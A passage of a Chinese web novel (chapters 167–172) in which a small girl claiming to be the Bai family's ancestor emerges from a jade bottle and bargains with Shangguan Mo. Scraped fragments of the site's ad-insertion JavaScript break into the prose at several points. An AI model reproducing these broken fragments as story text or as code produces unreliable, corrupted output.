“一只羊,两只羊……” …… 今天的天气不是很好,海风很大,浪很狂。 男人站在甲板上,眺望远方,眸光幽黑深邃。 男人身后不远处站着两个人,他们目光时不时会落到前方男人身上。 也不知道过了多久,其中一人忍不住拿手捅了捅另一人,说话时尽量压低了声音。 “大炮,你说这种鬼天气,主子突然跑来海上干嘛?真为了抓鲨鱼吃?” 被称为大炮的人摇头,“武十,你既然这么好奇,不会自己上去问下主子。” “让我去问主子?大炮,你小子是想让我被主子扔海里喂鲨鱼就直说,我觉得晚上咱们兄弟俩需要好好聊聊哈,总感觉你小子最近说话很不对味。” 大炮朝人翻了个白眼,丢下已经在跳 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 脚边缘的人,径直向前方男人走去。 身后的脚步声渐渐靠近,男人神色未变,依旧目眺远方。 大炮停住脚步,犹豫了几秒,还是出声请示道:“主子,晚上是直接在海上过夜吗?” 久久的,男人才回了个“嗯”。 得了准话,大炮转身开始下去准备。 路过武十身边时,被他拉住胳膊。 “大炮,主子怎么说,为什么突然要出海?” 大炮皱眉抽回手,“这么好奇就自己去问,还有晚上要在海上过夜,我现在下去安排下,你在上面保护好主子。” 武十一听这话,当即严肃起来,“你去吧。” 夜悄然而至。 甲板上的男人仍身形如松的站立在那。 “主子,晚餐备好了。” 大炮 来到男人身后,出声道。 “嗯。” 这一声后,约莫过去了一分钟,男人才转身离开甲板去用餐。 男人用完晚餐后,继续来到甲板上站着。 为什么突然想要出海? 这个问题,男人自己也不知道。 硬要说出个出海的理由,跟着直觉走算不算理由。 这片大海就像突然生出魔力来,吸引着他不惧风浪前来。 夜晚的大海并不平静,有惊无险的度过一夜。 海上日出真的很美很壮观,男人依旧站在昨天站的那个位置,欣赏着这如诗如画,美轮美奂的景象。 大炮站在男人右后方,同样也被此等美景吸引了目光。 而站在男人左后方的武十就比较没有艺术细胞,对日出啥的不感兴趣。 他目光落在茫茫大海上,无聊了四处看看。 咦,那是什么? 武十定睛一看,海浪忽上忽下的,让他无法看得真切。 也不知道出于什么心态,或者是较上劲了,武十就是想知道吸引住他目光的是什么玩意。 旁边刚好有趁手的工具,武十轻手轻脚的往后退两步,拿起打捞工具。 只等着那东西被海浪带过来,他好抓准时机下网,将东西捞上来。 第167章 我那迷人的小祖宗or老祖宗(05) 就是现在。 要的就是快与准。 轻轻松松将东西捞上来后,武十拿手上仔细一看。 原来是个小巧精致的玉瓶子呀! 瞧着挺值钱的样子……不过怎么越瞧越有那么点眼熟呢? 武十垂眸思索起来,自己会觉得眼熟肯定是在哪里见过的。 倏地,他眸子猛然睁大。 我去,难怪他会觉得眼熟,这……这……这玉瓶子和白家在找的那个简直一模一样。 武十有点不淡定了,白家可是发出高额悬赏的,赏金高达一个亿。 “发……发了,大炮。” 武十一下子很是激动,也不知道是因为这一个亿的赏金,还是因为他是在如此偶然的情况下找到白家悬赏的这个玉瓶子。 大炮闻声,蹙眉回头,“武十,你在咋咋呼呼什么?” 这会儿,武十也不在意大炮的态度,朝人扬了扬手上的东西。 “大炮,你瞅,你仔细瞅瞅,我手中的这是什么?” 大炮了解武十,性子上还需沉淀沉淀,但不会无的放矢。 视线落在对方手上,和武十一样,大炮第一眼就觉得东西有点熟悉。 凝眸盯着东西看了几秒,大炮脸上神色终于有了变化。 “白家在找的那个白玉瓶?” 茫茫大海,难怪白家私下找了一年,又大张旗鼓找了一年多,甚至出了高额悬赏,赏金高达一亿,到现在还是没找到。 武十给了对方一个赞赏的眼光,“好眼力!” 大炮:“……” 有点不想理这家伙了。 身后的动静稍稍引起了男人的兴趣,他徐徐转身,视线落在武十的手上。 白家大张旗鼓的找一个白玉瓶子,这事圈子里人都有了解,也都好奇白家找这玩意做什么? “给我看看。” 男人一发话,武十忙屁颠屁颠的几步上前,双手将东西奉上。 “主子,给。” 男人接过东西,拿手上仔细把玩起来。 材质上乘,雕工精湛,的确是不可多得的好物件。 不过单从东西本身价值而言,白家出到一亿悬赏金着实有点高了。 忽的,男人把玩的手一顿,眸中闪过一丝疑惑。 他记得接过东西前,虽只瞧了一眼,但绝对不可能瞧错的,瓶口处的瓶塞和瓶身是连成一体的,简单理解就是这玉瓶是打不开的。 男人眸中划过一丝兴味,直接动手试着打开玉瓶。 原以为可能要费点劲,没成想轻轻松松的。 武十瞧见男人的动作,那双眸子一下子睁得老大。 东西是他第一个拿到手的,仔仔细细打量了好几遍。 如果他没失忆的话,整个玉瓶成浑然一体,是打不开的,要是能打开,他早好奇打开玩玩了。 没打开前,男人就隐隐觉得瓶中有东西,只是不确定。 打开后,男人十分确定瓶中有东西。 果然啊,白家人还真是……醉翁之意不在酒。 相较于女主的小心谨慎,男人就随意多了。 目光流转,最后落在脚边不远处的一个空桶上。 武十刚从错愕中回神,注意到男人的动作,一下子就猜出男人要做什么,心下一紧。 “主子,你……” 男人抬眸看向他,用眼神示意他接着说。 武十摸了摸后脑勺,试探的问道:“主子,你是想看看瓶子中有没有东西吗?如果有的,想把东西倒到那桶里?” 男人不以为然的点了点头。 武十:“……” 在旁边安静看全程的大炮:“……” 有时候他们主子做事还真是随性。 武十有些紧张的壮着胆子说道:“主子,你应该也发现了这玉瓶的奇妙之处,在我手上时明明……” 武十本就是个话多的,等他说完,两分钟过去了。 也不知道是武十话说动了男人,还是他的话把男人说烦了,男人的确熄了方才的心思。 他直接伸出另一只手,掌心朝上,而后将玉瓶倒过来,瓶口对着他的掌心。 武十和大炮同时瞪大眼眸,想要阻止已经晚了。 大炮没办法,只能先斜眼瞪了旁边人一眼。 猜到白家人想要的应该是玉瓶中的东西,而玉瓶中的东西也肯定不简单。 可这 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 些和主子的个人安危比起来,那都不重要。 也不知道里面是什么东西,主子就这样拿手去接真不会有事? 被瞪了一眼的武十心里也很慌,早知道主子最后会直接来这么一手,他刚刚就不多嘴了。 和大炮的想法一样,管他白家人要找的是什么宝贝,那都没有自家主子的个人安危重要。 两人难得同频的屏住呼吸,眼睛一眨不眨的盯着男人的掌心看。 空的? 猜错了? 瓶子里没东西,白家找的真就是玉瓶子本身。 武十和大炮松了口气的同时,心中又有点失望。 垂眸扫过空空的掌心,男人眸光深沉了几分,捏着瓶身的手用力甩了甩。 随着男人的动 作,真有什么东西从瓶子里掉了出来。 “这是?” 武十有点失控的低呼出声。 大炮的情况也没比他好多少。 男人还算淡定,就是蹙眉纠结要不要把手上的……东西抖落到甲板上。 没给男人纠结的时间,掌心迷你版的小人开始快速变大……变大…… 白幺幺数羊数着数着真睡着了,身体的异样让她一下子醒来。 睁开眼,还没来得及看清眼前的情况,感知到危险,身体本能做出反应。 目睹白幺幺的“自救”全程的武十和大炮:“……” 目瞪口呆,简直都忘记要做什么反应了。 还在变大的小人就这么一脚踩着他们主子的掌心,紧接着借力一跃而起朝他们主子的脸扑去? ……最后两条小腿盘在他们主子脖子上,两只小手紧紧抱着他们主子的头!!! 一切真的就发生在电光火石间,他们想出手阻止时已经晚了。 久违的阳光简直照进了白幺幺的心坎里,就连咸涩的海风都是那么的好闻,令她陶醉。 白幺幺无意识的抱着怀中的……脑袋……蹭了蹭。 脑袋? 长久待在黑暗中,初见光亮,白幺幺眼睛只睁开了那么一瞬,就又赶紧闭上了,如此短的时间,根本来不及看清什么。 此刻,她重新睁开眼睛查看四周的情况。 第168章 我那迷人的小祖宗or老祖宗(06) 查看前,白幺幺心里还止不住美滋滋的想,睡觉时的时间果然过得比较快。 感觉自己都还没睡过去多久,白玉瓶就被白家人找到了。 海风的味道让她心安,不是在女主的房间,那捡到白玉瓶的很大可能就不是女主。 低头,白幺幺第一时间忽视掉被她抱着的黑脑袋,注意力全在自己的小手小脚上。 所以,她这一睡直接睡了十来年吗? 等等,她等下不会和原主一样,开始忘记很多事情吧。 想到这,白幺幺赶紧接收原主的心愿先。 在玉瓶中,她接收完剧情,想着十天半个月,乃至好几年都要被困在玉瓶中,便没急着接收原主的心愿。 而且,原主的心愿感觉很好猜,无非就那么几种可能。 很快接收完原主心愿,白幺幺脸上露出果然的神情。 原主的心愿有两个。 其一是守护白家,帮白家躲过灭族之危。 其二则是在与白家利益不冲突,不危害到白家为前提,答应上官墨一个条件,也就是帮上官墨一个忙或做一件事。 第一个心愿,原主想方设法的来到下界,本就是为了这事。 第二个心愿,白幺幺猜测,原主在下界成了女主的工具人,除了帮女主对付白家,就还害了这个叫上官墨的,这个心愿算是了却两人的这段因果。 很快,白幺幺感觉到了,自己的确忘记了一些东西。 只是不是她自己的,而是原主的记忆,好像直接停留在四岁左右,四岁前的记忆还有,四岁后的就没有, 白幺幺想,这应该和身体变小有关。 本来就是私自下界,又在那奇奇怪怪的白玉瓶中待那么久,或许就是变成这样的原因。 当然白幺幺还有另一种猜测,会变成小孩子,保持不了成人形态,更大可能还是这方世界容不下原主这个异界来客,对她的压制,但能力有限,又做不到完完全全的压制, ……好吧,想远了,这些好像也都不重要。 她现在是谁,人家的老祖宗呀! 也不知道是白家哪个嫡系后人打开的玉瓶,作为人家的老祖宗,她现在要做什么呢? 呃,好像应该先从人家身上下来。 白幺幺改抱着某黑脑袋为扶着,稳稳当当(颤颤巍巍)的站起来,两只小脚踩在对方的肩膀上。 呜呜,原主小时候竟然恐高。 也不知道是不是因为原主是修仙的,神魂强大,而她明明经历好几个世界,灵魂之力也越来越强了,却还是受原主残留在身体中的一些行为习惯以及情绪等影响。 站得高,看得远…… 男人本就是站在甲板边缘的,白幺幺这下子感觉自己只要一个稍不留神就会掉到海里。 老祖宗,就算无法华丽闪亮登场,起码也不能让人看出她恐高,不然多损老祖宗形象与威严。 她现在要么是从男人肩膀上纵身一跃,最后身轻如燕的落地,要么是把人当木桩子,动作娴熟的爬下来。 白幺幺当然是果断选择了后者,谁让她此刻还摆脱不了原主恐高的影响。 继续待在疑似自己后辈的人身上算个什么事,白幺幺赶紧实施第二个方案。 武十和大炮:“……” 目瞪口呆都不足以形容,两人那眼珠子都快从眼眶里掉出来了。 小人儿从瓶子里滚出来,掉到他们主子的掌心! 小人儿身体吹气球似的变大,朝他们主子脸上扑,骑在他们主子的脖子上,还抱着他们主子的脑袋! 小人儿扶着他们主子的脑袋,踩在他们主子的肩膀上! 小人儿借助着他们主子的身体,爬……爬下来了…… 这一幕幕的,根本不给他们反应时间。 别说他们了,就连主子自己不也没反应过来,不然怎可能任那小人儿在他身上作乱胡来。 双脚踩到甲板上,白幺幺第一时间不动声色的理了理身上的衣服。 而后她才板起小脸,严肃神情,抬眸扫向在场人的……下半身…… 白小人幺幺:“……” 表情不能崩,继续,她仰着头扫向在场的三人,决定先在气势上压倒对方。 没办法,身高不够,只能气势 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 来凑。 “咳咳。” 白幺幺清了清嗓子,压低声道:“你们哪个是白家后人?” 刚刚被她抱着脑袋,此时正低垂着头,看不清面容,看不清表情的,这个人白幺幺看起来最满意。 至于另外两个,其实也不错,就是两人颜值上都有点差强人意。 一个是那种肌肉遒劲粗壮男,瞧着就不怎么聪明的样子。 另一个瞧着是聪明点,可是两手臂上的纹身,瞧着就有点不学好的样子。 白幺幺同志那是说进入角色就进入角色的,她现在就是把自己带入了老祖宗的身份,在看这几个可能是自己后辈的小年轻们。 至于那个低着头,明明她都还没看清人长相的,为什么最得她满意。 主要是没看脸,先看身材气质,的确完胜另外两人。 再者,自己刚刚在人身上那番折腾,对方到现 在都还不声不响没反应。 甚至她骑在人脖子上时,对方都没暴力的把她扯下来,足可见是个尊老爱幼的好孩子。 白幺幺想了想,又在心里摇头。 不行,她现在可是人家的老祖宗,要成熟稳重点,更不能带着先入为主的想法看人。 毕竟母不嫌子丑,作为老祖宗,她也一样,不能嫌弃,不能嫌弃。 没人回答白幺幺的问题,倒是武十警惕的盯着白幺幺反问道:“你是人,还是什么东西?为什么会在那玉瓶中? 白幺幺仰着头,给对方投去一个满意的眼神。 不错,警觉性还是很高的。 武十:“……” 不过你祖宗终究是你祖宗,白幺幺能配合回答问题才怪。 她继续压低声音道:“你们三个哪个是白家人,对了,白保国那小子有在船上吗?” 武十:“……” 大炮:“……” 两人不动声色的交换了下眼神,直呼白家家主的名字,还用上那小子,别是什么返老还童的“老怪物”般的存在。 还有主子这是怎么呢? 站那一动不动的,到现在都没给个反应。 第169章 我那迷人的小祖宗or老祖宗(07) 两人自以为很隐晦的眉来眼去,白幺幺那是全看在眼里。 她皱了皱眉,干脆换了个问法。 “那玉瓶子是你们三个中的谁打开的?” 白幺幺的问题一出,武十和大炮皆条件反射的朝某个方向看去,确切的说是看向还抓在自己主子手上的玉瓶子。 白幺幺顺着两人的视线看去……脑门上飘过一排感叹号,尴尬呀! 明摆着的问题,她竟然还问。 白小人幺幺:……一定是身体变小的原因,观察力也受到影响了。 白小人幺幺双手背到身后,昂首阔步走到低着头的男人跟前,依旧是先轻咳一声。 “你是白家的人,叫什么名字?白保国是你的谁?” 武十和大炮:“……” 他们刚刚真不是这个是意思。 久久没得到回答,白幺幺:“???” 这从头到尾奇奇怪怪的。 难道这人虽是白家嫡系,却不得宠,不知道白玉瓶以及有关老祖宗的信息。 可是不应该呀。 剧情里,白家家主迟迟没等来原主,以为是不是原主这边出了什么状况,白玉瓶没有如约掉到白家书房,而是掉到其他地方了。 抱着这种心态,白家人开始暗里四处找寻白玉瓶的踪迹。 只是找寻了一年依旧无果,白家人直接出了高额悬赏来找白玉瓶。 可以说白家已经是相当高调在找这白玉瓶,圈子里的人或多或少都有关注过此事,更别说白家人自己。 玉瓶只有白家嫡系血脉才能打开,对方必然也是知道家族长辈费尽心机,大张旗鼓的在找这白玉瓶的。 可现在又是什么情况,一直低着头不说话做什么? 白幺幺有些心烦的抓了抓头顶的小揪揪,脑中忽的冒出某个想法来。 不会吧,不会吧。 她不会又那么倒霉吧!! 避开被女主捡到的命运,却又是被一个不知道自己身世,因某些狗血原因遗落在外的白家嫡系血脉捡到的吧。 如果真的是,那这白家的男人还真是…… “我姓上官,单名一个墨字,并不是你口中的白家人。” 突然的声音打断了白幺幺的思绪,她缓了一会儿才反应过来。 “上官墨?你是上官墨。” 白幺幺不确定问道:“你手上的玉瓶是你打开的?” 上官墨抬头垂眸看向白幺幺,很是随意的“嗯”了声,算是回答。 白幺幺有点懵了,剧情里没写上官墨也是白家嫡系血脉呀。 而且人家可是真大佬,下界来历劫的。 再说了,上官家和白家表面上看差不多是一个量级的,实则上官家的底蕴比白家的更深厚些。 原剧情中,女主要不是有原主提供的东西,借助了不属于这个世界的力量,怎么可能伤害到上官墨,甚至最后逼得人为保清白自杀了。 白幺幺仔细打量着人,的确很不错。 有让女人一见钟情,为他疯,为他狂,为他哐哐撞大墙的资本。 能力也不是盖的,二十一岁通过雷霆手段当上了上官家家主。 不得不说,女主眼光很好,尽管上官墨比她大上一轮,不过男女的这个年龄差真不算什么。 等等…… 白幺幺想到了一个关键问题。 如果上官墨真是白家嫡系血脉,那幸好原剧情中两人没在一起,不然不就成乱伦了。 不对,不对,白幺幺还是觉得很有问题。 上官家那样的大家族,出现给别人养孩子,最后这个孩子还当上家主,掌管整个家族,这种情况的可能性有多大? 白幺幺在打量上官墨时,上官墨也在打量她。 后来白幺幺想问题时,收回目光,上官墨的目光却依旧停留在白幺幺脸上。 盯着白幺幺看了许久,上官墨得出一个结论。 人小,表情倒是挺丰富。 有点乱。 白幺幺皱着小脸,晃了晃小脑袋,头顶上的两个小揪揪也跟着晃呀晃。 此时甲板上要是有个女性在,一定会萌到,真的是又萌又可爱。 不过此时甲板上就只有萌而不自知的白小人幺幺,以及三个亲眼目睹人从瓶子里倒出来,变大的,这要是能被萌到,那三人都该去检查下脑子了。 算了,先不想了。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 不管上官墨是不是白家人,这个根本不重要。 是吧,似乎也不错。 不是吧,那就不是呗! 只不过就会再冒出一个新的问题来,为什么上官墨不是白家嫡系血脉,却能打开白玉瓶? 既然上官墨的身份存疑,白幺幺不免心生警惕起来。 虽然上官墨不一定会是另一个女主,但该防的还是要防下。 特别是,她以如此匪夷所思,诡异的方式出现在几人面前。 上官墨就不说了,全程淡定,表情平静。 另外两个应该是上官墨的手下或保镖,神色或多或少有变化,却还能保持冷静。 如此三人,白幺幺不得不认真严肃对待。 当然有些情况暴露都暴露了,总不能让她现 在杀人灭口吧! 白幺幺理所当然朝人伸出手,眸光落在上官墨手中的白玉瓶上,意思相当明显。 其实白幺幺也就是抱着试试的心态,东西在人手上,能轻松要回来当然好,不然…… 动粗肯定是不可能动粗的,先不说她现在小胳膊小腿的。 就说原主的第二心愿可是给了这人的,还有别忘了人家可是上界的大佬。 白幺幺还想着完成原主心愿后,离开这个小世界前,回到上界去长长见识了。 所以得罪上官墨,与人交恶,对她完全没好处呀。 甚至如果可以的话,尽量与人交好,若是能抱上人大腿,那简直好处多多。 嘿嘿,说不定到了上界,有大佬的庇护,她就能狐假虎威,横着走。 “想要?” 上官墨唇角勾起一个很浅很浅的弧度。 白小人幺幺很想翻个白眼,来句问的不是废话么。 只是想到眼前的是真大佬,惹不起,惹不起。 咱这不是怂啊,咱这叫识时务为俊杰。 白小人幺幺眨巴眨巴她那双卡姿兰大眼睛,重重地点头。 “想要,大哥哥,能不能把那小瓶子给幺幺?” 也就是刚刚,白幺幺脑中灵光一闪。 抱大腿最快的方式是什么? 那就是认哥哥呀! 第170章 我那迷人的小祖宗or老祖宗(08) 没办法,她现在的外形就有这个先天优势,不利用起来,简直太可惜了有木有。 对于白小人幺幺这声软糯糯的大哥哥,当事人上官墨还没做出反应。 他身后的两人反应就比较大了,差点没脚下一个趔趄,来个平地摔。 在两人心中,早就把白幺幺归为差不多是“老怪物”般的存在,反正让他们把人当普通小女孩看,那是万万不可能的。 所以到底是他们主子占人便宜了,还是他们主子被人占便宜了? 两人的反应,白幺幺那是尽收眼底。 她暗暗在心里吐槽,大惊小怪的,一个个懂啥。 她是在喊凡人上官墨哥吗? 不,不,她是透过这层凡人的皮,在喊大佬哥。 白小人幺幺见人不说话,又道:“大哥哥,小瓶子是幺幺的,你能把小瓶子还给幺幺吗?” 话说完,白幺幺眸中露出丝丝祈求的神色而不自知。 上官墨眸光淡淡的扫了某小人一眼,缓缓吐出冰冷的两个字。 “不给。” 白幺幺:“……” 貌似遇上硬茬子呢,怎么办? 眼睁睁的看着人说不给后,就直接当着她的面把玉瓶子揣进口袋里,白幺幺心里涌上一股委屈。 白幺幺:“???” 反应过来想压下时,已经来不及了。 眼眶里迅速蓄满泪水,很快豆大的泪珠一颗接着一颗往下掉。 眸底闪过错愕的白幺幺:……她不是,她没有,哭的真的不是她!!! 还没纠结清楚到底是谁占谁便宜的武十和大炮:……哭……哭了……他们主子把人惹哭了?! 不是,对方这确定不是在碰瓷他们主子吗? 还有他们主子是那种会被女人……女孩……小女孩眼泪拿捏住的人吗? 不,怎么可能,就是天仙儿在他们主子面前哭,他们主子也能无动于衷。 上官墨皱眉,沉声道:“不许哭。” 白小人幺幺:……你不让哭,就不哭,凭什么呀,她就哭,就哭。 白幺幺:……心累,爱咋样咋样吧。 她泪眼婆娑看向上官墨,被朦胧水雾遮挡下的是摆烂的眼神。 大佬,是身体想哭,真不是她想哭。 瞧着人只是皱眉,神色没有变沉变黑,白小人幺幺试探的提条件。 “大哥哥,我不哭……嗝……不哭了,那你把小瓶子还给幺幺好不好?” 武十和大炮:……不知道他们主子最讨厌和他讲条件,威胁他的人吗? 果然不负两人所想,就听他们主子淡淡开口。 “不给,你可以继续哭,不过请换个地方,不要在我船上。” 白幺幺:“……” 茫茫大海,不让她在船上哭,不就是变相的威胁,如果她敢再哭,就把她丢海里,让她到海里去哭。 大佬果然就是大佬,这讲话的艺术杠杠滴。 为了不被丢到海里,白小人幺幺咬着唇,抬起肉呼呼的小手擦眼泪。 武十和大炮:……所以他们会不会因为对方的诡异出场方式,把人高看了。 “回去。” 上官墨的话是对身后两人说的。 武十一听要回去了,忙抢先离开去安排。 反正他是一点也不喜欢大海,更别说在海上漂。 白小人幺幺虽停止哭泣了,不过那小表情委屈极了。 似是在和某人赌气般,哒哒哒走到甲板的另一边,离某人远远地,半倚靠在护栏上,吹着海风看海景。 大腿还是要抱的,不过也不能太卑微,太委屈自己了。 看着大海,白幺幺情不自禁的咂吧咂吧嘴,想吃各种海货了,这时她的小肚子还很应景的咕咕响了两声。 白幺幺拿手揉了揉肚子,而后侧头偷偷用眼角余光瞄了下某人。 嗯,背对着她,距离挺远的,肯定没听到。 两个小时后,船靠岸停下。 在岸边等自家主子的武一远远就看到甲板上的上官墨,只是等船停稳,先下来的竟然是一个……陌生的小女娃。 武一脑门上全是问号,哪里来的小女娃?主子他们海上捡的吗? 白幺幺迈着小短腿吭哧吭哧的走啊走啊,才走出去十几米,身后响起了上官墨的声音。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “回来,我有允许你离开了吗?” 白幺幺停住脚步,回头疑惑的与人对视。 她要离开为什么还要经过他的允许? 吹着海风,白幺幺静静思考。 大腿要抱,不急于一时,还是先去白家找白保国。 对了,路上还要先了解下现在是什么时候。 尽管上官墨瞧着二十出头的样子,她可以以此推断出时间。 但有些男人保养得好的话,瞧着比实际年龄年轻个五六岁,乃至十岁也不是不可能。 白幺幺在心里不断默念,那是大佬,是大佬。 “大哥哥,我要去找白保国,你喊住我是想送我去白家吗?那真的是太谢谢大哥哥了。” 白小人幺幺说着还咧嘴露出个甜甜的笑。 一时控制不住表情的武一:“ ……” 紧随上官墨后面下船的武十和大炮,已经开始能做到面不改色了。 似是回应白幺幺的笑,上官墨嘴角也勾起一个弧度。 就在白幺幺以为一切妥了时,就见对方从口袋里摸出白玉瓶在手上把玩着,嘴里轻轻吐出两个字来。 “一亿。” 白幺幺:“???” 她还怔愣着了,对方视线落到她身上,“你,另外一个价。” 白幺幺:“……” 她听明白了。 可是,大佬,咱又不是缺钱的主。 不过算了,钱能解决的事那都不叫事。 白小人幺幺豪气一挥手,“大哥哥,钱的事好说,你只要送我去找白保国,到时要多少钱和他谈就是了,他一定会满足你的。” “而且,我相信大哥哥也不是那种会狮子大开口的人。” 白幺幺最后还不忘吹了个彩虹屁,不然到时对方真说出个白家付不起的天文数字咋办。 两人的“合作”就这么愉快的谈好了。 当武一打开车门,候在旁边等主子上车时,就见一道小身影先他们主子爬上车。 白小人幺幺坐上车后,还不忘拍了拍旁边的位置,朝车外催促道:“大哥哥,你快上来呀。” 第171章 我那迷人的小祖宗or老祖宗(09) 武一:“……” 不是,这小女娃是谁家的?不知道主子坐车时,不喜欢有人坐旁边吗? 这情况算他失职了,没有及时阻止人上车。 武一看向上官墨,一时也不知道要如何处理。 上官墨给了对方一个“无碍”的眼神,直接跨步上车。 武一:……所以小女娃到底是谁? 武十不知道什么时候来到武一的身后,抬手哥俩好的揽住他的肩膀。 心中有疑问,刚好有可能知情的人凑过来。 武一拿开肩膀上的手,看向身侧的人,压低声音询问。 “武十,那个小女娃是什么情况?瞧着好像和主子很熟的样子?” 总不能是主子的私生女吧?! 武一脑中才冒出这个想法,就立马自己给否定掉了。 小女娃喊主子大哥哥的,瞧着四岁左右,而主子现年二十三岁,据说到现在还是个处男,哪里来的孩子。 武十做出一副高深莫测的样子,抬手在人肩膀上拍了拍,说话时同样压低了声音。 “这小女娃的情况,你还是少打听,知道太多没好处,好奇害死猫知道不。” 武一:“……” 拳头有点痒,最主要还是感觉这小子皮痒了。 似是瞧出对方有要摩拳擦掌趋势,武十忙正了正神色,摇头道:“真不是我不说,而是不能说,不然你问大炮,看他和你说不。” 有些事情,不需要主子特意交代,他们必须有这个眼力见。 武一见对方这样子,收了好奇心,转身上了另一辆车。 车内两人各坐一边,中间相隔个三十公分左右。 白幺幺在人上车后,就转头看向窗外,装起高冷来。 她在酝酿了,等下要见白家人,作为他们的老祖宗,形象这块已经成定局,那么在气质气势这块,她必须拿满分。 车子行驶有二十来分钟,白幺幺忍不住问道:“大哥哥,还有多久到白家?” 她肚子已经饿过度,不会叫了,而她脑中已经想好等下到白家要点的菜名了。 视线从手中的文件上移开,上官墨给了白幺幺一个“你是不是误会了什么”的眼神。 白幺幺看懂了他的眼神,问:“大哥哥,我们现在不是在去白家的路上吗?” “嗯。” “那我们现在是要去哪里呀?” “上官家。” “啥?”白幺幺有点小激动,“大哥哥,你是要把我带回家吗?” 和大佬住一个屋檐下也挺好的,方便培养出革命友谊。 只是她还有白家的事要处理,白幺幺有些小遗憾的说:“大哥哥,我暂时还不能住你家,等我事情处理完,再到大哥哥家长住怎么样?” 上官墨似笑非笑的睨了人一眼,“不怎么样,在我家长住,你想的倒是挺美的。” 白小人幺幺决定将装傻充愣进行到底,她歪了歪小脑袋,“我很乖,也很有趣的,和我住一起你绝对不会无聊。” 上官墨挑眉问道:“真想和我住一起?” 白幺幺:……怎么感觉这个问题有隐藏陷阱。 管他了,白幺幺先毫不迟疑的点头,让对方看到她的诚意。 如果没有白家老祖宗这层身份在,这个问题根本就不用考虑,她说什么都要赖上大佬。 背靠大树好乘凉,这个道理不管在哪个世界都适用。 “这样啊,那就拿出你的诚意来。” 上官墨说完,双手抱胸,静静看着白幺幺。 “诚意?” 白小人幺幺眨巴着清澈(愚蠢)的大眼睛,反问道:“大哥哥想要什么诚意?你告诉幺幺,幺幺有的一定给大哥哥。” 上官墨也难得有耐心,顺着白幺幺的话道:“行,那就先说说你的来历,或者说你是什么存在?” 如果眼前的人不是真大佬,白幺幺肯定满嘴跑火车,真假掺半乱说一通。 为了自己之后回到上界的美好生活,白幺幺同志决定让大佬看到她的诚意。 “原来大哥哥要的是这个诚意呀,我告诉你哦大哥哥,幺幺可厉害了,是白家的老祖宗,就是白保国那小子见了幺幺都要乖得像孙子的那种老祖宗。” 上官墨皱眉,“所以你现在几岁了?” “四岁。”白幺幺下意识脱口而出。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> “嗯?” 白幺幺忙不迭的摇头,头上的两小揪揪跟着一晃一晃的。 “大哥哥,幺幺真的是四岁,不骗人的,只是幺幺好像不记得了很多很多事情,不过幺幺可厉害了,还记得自己是白家的老祖宗。” 白小人幺幺睁着圆溜溜的大眼睛,眼里满是真诚,隐隐还有些许的小得意。 至于得意啥,得意她记得自己是人家的老祖宗呗。 上官墨也不知道信了没信,接着问道:“那你都有些什么常人不会的本事?” 他又从口袋里掏出白玉瓶来,“你还能钻回这个瓶子里吗?” 白小人幺幺绞着手指,有些羞窘难为情的低了低头,“这……这个幺幺也不记得了,还有那个瓶子,幺幺出来后就进不去了。” 第一个问题 白幺幺真没撒谎,她现在就只有原主四岁前的记忆,而原主又不是什么仙人后代,就是个普通的凡人小孩。 至于第二个问题,白幺幺撒谎了。 她当然还能进去到白玉瓶子里。 不然处理完白家的事,原主要怎么重新神不知鬼不觉的回到上界。 原主早在玉瓶子上施法,只要她重新进入玉瓶子中,就能启动玉瓶子上的阵法…… 反正原主是经过周密计划,将事情都安排好了的。 不过结果还是应了那句话,计划赶不上变化。 上官墨沉默了,同时给了白幺幺一个让她自己体会的眼神。 白幺幺从那眼神读到的就是……那你这老祖宗当的还真是没用!? 白幺幺:“……” 这种时候,不蒸馒头也要争口气。 “大哥哥,幺幺虽然不记得自己会什么本事了,但幺幺有很多好宝贝。” 白小人幺幺说完,傲娇的抬了抬下巴。 财不露白的道理,白幺幺还不知道。 只是,她想到了另外一句话。 吃人嘴软,拿人手短。 原主在上界只是个小喽啰存在,她的那些宝贝在上界根本不算什么,应该没一样能入得了大佬眼的。 不过在下界,那就真的都是无价之宝了。 第172章 我那迷人的小祖宗or老祖宗(10) “哦。” 上官墨来了兴趣,“那你都有些什么宝贝?” 有什么宝贝呀?白幺幺想到了剧情中原主就像是女主的百宝袋,不断的掏出好宝贝给女主。 有些是价值不菲的凡物,有些则是一眼就能看出用途的,还有些猜不出作用用途的,女主便自己慢慢试验摸索。 “那可多了,不过我觉得有几样东西很适合大哥哥。” 白幺幺说完,手上凭空多了一个十分古朴、款式简单的男戒和一张黄色的符纸。 “喏,大哥哥,这两样东西给你,男孩子在外面还是要保护好自己的。” 白小人幺幺见人迟迟没接过东西,直接抓起对方的手翻过来,手心朝上,将东西放上去。 “大哥哥,这戒指很厉害的,当你遇到危险的时候,它能救你一命,还有这张瞬移符也能带着你逃离危险,瞬移一次。” 上官墨拿起戒指和符纸端详了下,“一次性道具?” 白幺幺:“……” 大佬果然是大佬,真会抓重点。 白小人幺幺哼哼道:“大哥哥,保命的东西当然只能发挥一次威力,你想要那种可以连续发挥好几次威力的宝贝,幺幺这里也有哦。” 白幺幺说完,这回不是手中又凭空多出些什么东西,而是两人中间空出来的位置上多出了三样东西。 一件不知材质衣服,两个木盒。 都不等上官墨问,白幺幺自己先介绍起来。 “大哥哥,这衣服老厉害了,你以后二十四小时都穿着,是刀枪不入的好宝贝了。” “至于可以使用几次?” 白幺幺数了下剧情中女主穿上这件防御法衣时总共中过几次弹,却安然无恙。 两只小手齐用,白小人幺幺颇为豪气的说:“大哥哥,这衣服可以用起码十次以上哦!” 接着白幺幺又献宝似的一一打开两个小木盒,“大哥哥,别看这两个木盒里瞧着平平无奇,里面装的可是好宝贝。” 白幺幺指着左边木盒里放着人皮面具介绍道:“大哥哥,这个人皮面具,你只要一戴上,绝对能以假乱真,没人能发现出端倪。” 